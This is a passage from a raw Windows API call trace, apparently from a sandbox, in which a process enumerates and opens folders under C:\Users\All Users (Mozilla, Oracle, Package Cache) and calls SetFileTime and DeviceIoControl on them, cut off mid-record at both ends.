ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0092.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs" (normalized: "c:\\users\\all users\\mozilla\\logs"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.446] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs" (normalized: "c:\\users\\all users\\mozilla\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.446] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.447] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.447] NtClose (Handle=0x17c) returned 0x0 [0092.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd90 [0092.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.448] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0092.448] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.448] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="")) returned 1 [0092.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9038 [0092.450] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcf28 [0092.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.451] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="")) returned 0 [0092.451] GetLastError () returned 0x12 [0092.451] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.451] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.451] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.451] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="")) returned 1 [0092.451] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="")) returned 0 [0092.451] GetLastError () returned 0x12 [0092.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.451] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd90) returned 1 [0092.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.452] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0092.452] GetLastError () returned 0x12 [0092.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.452] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.452] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.453] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0092.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.453] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Oracle" (normalized: "c:\\users\\all users\\oracle"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eea3160, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.453] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle" (normalized: "c:\\users\\all users\\oracle"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0092.453] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.454] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.454] NtClose (Handle=0x124) returned 0x0 [0092.454] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.455] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0092.455] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.455] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.455] GetLastError () returned 0x12 [0092.455] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.456] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.456] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.456] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0092.456] GetLastError () returned 0x12 [0092.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.456] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.457] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="")) returned 1 [0092.457] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.457] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Package Cache" (normalized: "c:\\users\\all users\\package cache"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.458] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache" (normalized: "c:\\users\\all users\\package cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0092.458] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.458] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.459] NtClose (Handle=0x184) returned 0x0 [0092.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.460] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9200 [0092.461] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa938e870, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb49460, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd314a0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xecd314a0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a127460, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a127460, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="")) returned 1 [0092.462] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, 